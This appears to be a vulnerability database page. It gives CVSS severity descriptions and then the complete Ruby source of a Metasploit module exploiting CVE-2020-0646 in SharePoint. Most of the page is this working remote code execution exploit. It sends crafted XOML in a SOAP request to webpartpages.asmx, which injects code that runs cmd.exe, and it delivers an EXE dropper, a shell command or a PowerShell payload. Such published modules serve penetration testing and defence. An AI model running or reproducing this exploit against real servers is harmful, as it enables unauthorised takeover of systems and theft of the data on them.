The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: SharePoint Workflows XOML Injection (Metasploit)
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(update_info(info,
'Name' => 'SharePoint Workflows XOML Injection',
'Description' => %q{
This module exploits a vulnerability within SharePoint and its .NET backend
that allows an attacker to execute commands using specially crafted XOML data
sent to SharePoint via the Workflows functionality.
},
'Author' => [
'Spencer McIntyre',
'Soroush Dalili'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2020-0646'],
['URL', 'https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/']
],
'Platform' => 'win',
'Targets' => [
[ 'Windows EXE Dropper', { 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_dropper } ],
[ 'Windows Command', { 'Arch' => ARCH_CMD, 'Type' => :windows_command, 'Space' => 3000 } ],
[ 'Windows Powershell',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :windows_powershell
]
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'DefaultTarget' => 0,
'DisclosureDate' => '2020-03-02',
'Notes' =>
{
'Stability' => [CRASH_SAFE,],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION],
},
'Privileged' => true
))
register_options([
OptString.new('TARGETURI', [ true, 'The base path to the SharePoint application', '/' ]),
OptString.new('DOMAIN', [ true, 'The domain to use for Windows authentication', 'WORKGROUP' ]),
OptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
])
end
def check
res = execute_command("echo #{Rex::Text.rand_text_alphanumeric(4 + rand(8))}")
return CheckCode::Unknown('Did not receive an HTTP 200 OK response') unless res&.code == 200
compiler_errors = extract_compiler_errors(res)
return CheckCode::Unknown('No compiler errors were reported') unless compiler_errors&.length > 0
# once patched you get a specific compiler error message about the type name
return CheckCode::Safe if compiler_errors[0].to_s =~ /is not a valid language-independent type name/
CheckCode::Vulnerable
end
def extract_compiler_errors(res)
return nil unless res&.code == 200
xml_doc = res.get_xml_document
result = xml_doc.search('//*[local-name()=\'ValidateWorkflowMarkupAndCreateSupportObjectsResult\']').text
return nil if result.length == 0
xml_result = Nokogiri::XML(result)
xml_result.xpath('//CompilerError/@Text')
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
case target['Type']
when :windows_command
execute_command(payload.encoded)
when :windows_dropper
cmd_target = targets.select {|target| target['Type'] == :windows_command}.first
execute_cmdstager({linemax: cmd_target.opts['Space']})
when :windows_powershell
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true))
end
end
def escape_command(cmd)
# a bunch of characters have to be escaped, so use a whitelist of those that are allowed and escape the rest as unicode
cmd.gsub(/([^a-zA-Z0-9 $:;\-\.=\[\]\{\}\(\)])/) { |x| "\\u%.4x" %x.unpack('C*')[0] }
end
def execute_command(cmd, opts = {})
xoml_data = <<-EOS
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<ValidateWorkflowMarkupAndCreateSupportObjects xmlns="http://microsoft.com/sharepoint/webpartpages">
<workflowMarkupText>
<![CDATA[
<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
<CallExternalMethodActivity x:Name="foo" MethodName='test1' InterfaceType='System.String);}Object/**/test2=System.Diagnostics.Process.Start("cmd.exe", "/c #{escape_command(cmd)}");private/**/void/**/foobar(){//' />
</SequentialWorkflowActivity>
]]>
</workflowMarkupText>
<rulesText></rulesText>
<configBlob></configBlob>
<flag>2</flag>
</ValidateWorkflowMarkupAndCreateSupportObjects>
</soap:Body>
</soap:Envelope>
EOS
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_vti_bin', 'webpartpages.asmx'),
'ctype' => 'text/xml; charset=utf-8',
'data' => xoml_data,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
unless res&.code == 200
print_error('Non-200 HTTP response received while trying to execute the command')
end
res
end
end
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